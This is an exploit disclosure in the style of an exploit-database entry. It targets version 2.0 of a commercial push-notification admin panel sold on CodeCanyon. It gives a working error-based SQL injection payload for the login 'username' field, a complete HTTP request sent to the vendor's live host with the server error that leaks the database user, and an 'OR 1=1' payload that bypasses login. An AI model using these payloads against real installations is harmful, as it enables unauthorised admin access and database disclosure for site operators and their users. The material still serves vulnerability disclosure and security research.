# Exploit Title:  Firebase Push Notification iOS / FCM + Advance Admin Panel 2.0 - 'username' SQL injection / Authentication bypass 
# Date: 2018-07-08
# Exploit Author: L0RD
# Email: borna.nematzadeh123@gmail.com
# Vendor Homepage: https://codecanyon.net/item/firebase-push-notification-ios-fcm-advance-admin-panel/18600448?s_rank=19
# Version: 2.0
# Tested on: Win 10
=================================================
# POC : 

# vulnerable parameter : username 
# payload : 1') AND extractvalue(1,concat(0x3a,user(),0x3a))#

# Request : 
==============
POST /advance_push/public/login HTTP/1.1
Host: www.icanstudioz.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
Connection: keep-alive
Upgrade-Insecure-Requests: 1

_token=ITG4QVFxob9066DAIbRm7pZ5UrFZAbN9eEQOyaVU&username=1') AND extractvalue(1,concat(0x3a,user(),0x3a))#&password=1

# Response : 
===============
HTTP/1.1 500 Internal Server Error
Date: Fri, 06 Jul 2018 15:28:25 GMT
Server: Apache
Cache-Control: no-cache, private
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 46984

title="Illuminate\Database\QueryException">QueryException</abbr> in <a title="/home/icanstud/public_html/advance_push/vendor/laravel/framework/src/Illuminate/Database/Connection.php line 651" ondblclick="var f=this.innerHTML;this.innerHTML=this.title;this.title=f;">Connection.php line 651</a>:</span>
<span class="exception_message">
SQLSTATE[HY000]: General error: 1105 XPATH syntax error: &#039;:icanstud_icanstu@localhost:&#039; (SQL: select * from admin where (username =  &#039;1&#039;) AND extractvalue(1,concat(0x3a,user(),0x3a))#&#039; OR email = &#039;1&#039;) AND extractvalue(1,concat(0x3a,user(),0x3a))#&#039;) and password = md5(&#039;1&#039;))

=============================================
2) Authentication bypass : 

# Query : ('select * from admin where (username = '' OR email = '') and password = md5(''))
# Payload : x' OR 1=1)#

# Username : x' OR 1=1)#
# Password : anything 
=============================================